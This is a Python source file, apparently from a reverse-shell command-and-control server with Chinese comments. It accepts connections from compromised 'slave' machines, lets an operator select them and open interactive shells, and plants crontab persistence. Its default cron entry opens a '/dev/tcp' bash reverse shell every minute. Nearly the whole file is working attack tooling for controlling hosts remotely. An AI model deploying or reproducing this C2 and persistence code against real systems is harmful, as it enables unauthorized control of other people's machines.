def master(port): master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) master_fd.bind(('', port)) master_fd.listen(MAX_CONNECTION_NUMBER) while True: if EXIT_FLAG: break slave_fd, slave_addr = master_fd.accept() slave = Slave(slave_fd) slaves[slave.node_hash] = slave # 记录连接 lock = threading.RLock() locks[slave.node_hash] = lock now = datetime.datetime.now() connections.append([slave.hostname, str(slave.port), now]) log_save(slave_fd, interactive_user) t = threading.Thread(target=slave.manage_slave_rec) t.start() try: msg = '\nSlave %s : %d is Online!\n' % (slave.hostname, slave.port) server_log(msg) if interactive_user: Log.warning(msg, interactive_user) Log.command('>>>', interactive_user) except Exception as e: server_log(traceback.format_exc()) master_fd.shutdown(socket.SHUT_RDWR) master_fd.close()
def transfer2user(user_fd, mod, **kwargs): """所有接受用户消息进程都归于此""" global interactive_slave, EXIT_FLAG, interactive_state, choosed_slave, interactive_user choosed_slave = None while True: server_log('get user info\n') if EXIT_FLAG: break if mod != 'interactive_shell': if choosed_slave: if choosed_slave.name: msg = '(' + choosed_slave.name + ')' else: msg = '(' + choosed_slave.hostname + ')' Log.error(msg, user_fd) Log.command('>>>', user_fd) buf = user_fd.recv(2048) #print(buf) if buf == b'': break if buf: command = str(buf, encoding="utf-8") server_log(command) if mod == 'interactive_shell': slave_fd = kwargs['slave_fd'] slave = kwargs['slave'] if command == 'Ex1t\n': interactive_state = 'common_rec' interactive_slave = None break try: fd_send(slave_fd, command) except socket.error: slave.del_socket() if command == 'exit\n': time.sleep(0.5) try: msg = '\n' fd_send(slave_fd, msg) fd_send(slave_fd, msg) # slaves[key].socket_fd.recv(2048) except socket.error: server_log(traceback.format_exc()) check_online_slave() interactive_state = 'common_rec' interactive_slave = None break elif mod == 'Control_Command': if command == 'show\n' or command == 's\n': print_salve(user_fd) elif command == 'check\n' or command == 'ck\n': check_online_slave() elif command == '\n': continue elif command == 'recent\n' or command == 'r\n': recent_log(user_fd) elif command == 'i\n': slave = choosed_slave interactive_slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.warning(msg, user_fd) continue interactive_state = 'interactive_state' t = threading.Thread(target=transfer2user, args=(user_fd, 'interactive_shell'), kwargs={ 'slave_fd': slave.socket_fd, 'slave': slave }) t.start() while interactive_state == 'interactive_state': if EXIT_FLAG: break time.sleep(1) choosed_slave = None elif command == 'exit\n': interactive_user == None user_fd.shutdown(socket.SHUT_RDWR) user_fd.close() break elif command[0:6] == 'choose' or command == 'c\n': #check_online_slave() if command == 'c\n' or command == 'choose\n': msg = 'input the number of slave\n' Log.warning(msg, user_fd) print_salve(user_fd) choosed_slave = transfer2user(user_fd, 'choose_slave') elif command[0:7] == 'choose ': pa = re.compile(r'choose\s+(.*?)\n') res = pa.findall(command) if res: i = 0 for key in slaves.keys(): if str(i) == res[0]: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) elif command == 'del\n': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue slave.disconnect() msg = 'success to delete the slave \n' Log.success(msg, user_fd) choosed_slave = None elif command[0:4] == 'name' and command[4] == ' ': slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue pa = re.compile(r'name\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the name.\n' Log.error(msg, user_fd) continue slave.name = res[0] choosed_slave = None elif command[0:3] == 'add' and (command[3] == ' ' or command[3] == '\n'): slave = choosed_slave if not slave: msg = 'Please choose the slave you want to Control\n' Log.error(msg, user_fd) continue if command[3] == ' ': pa = re.compile(r'add\s+(.*?)\n') res = pa.findall(command) if not res: msg = 'Please rewrite the add command.\n' Log.error(msg, user_fd) continue slave.add_crontab(res[0], user_fd) else: content = '''\n* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"\n''' slave.add_crontab(content, user_fd) else: print_command(user_fd) elif mod == 'choose_slave': slave_num = command.strip() if slave_num == 'q': return None i = 0 for key in slaves.keys(): if str(i) == slave_num: choosed_slave = slaves[key] break i += 1 if choosed_slave: msg = 'select the slave :' msg += choosed_slave.hostname + ' : ' + str( choosed_slave.port) + '\n' Log.success(msg, user_fd) return choosed_slave else: msg = 'Do not have this slave.\n' fd_send(user_fd, msg) return None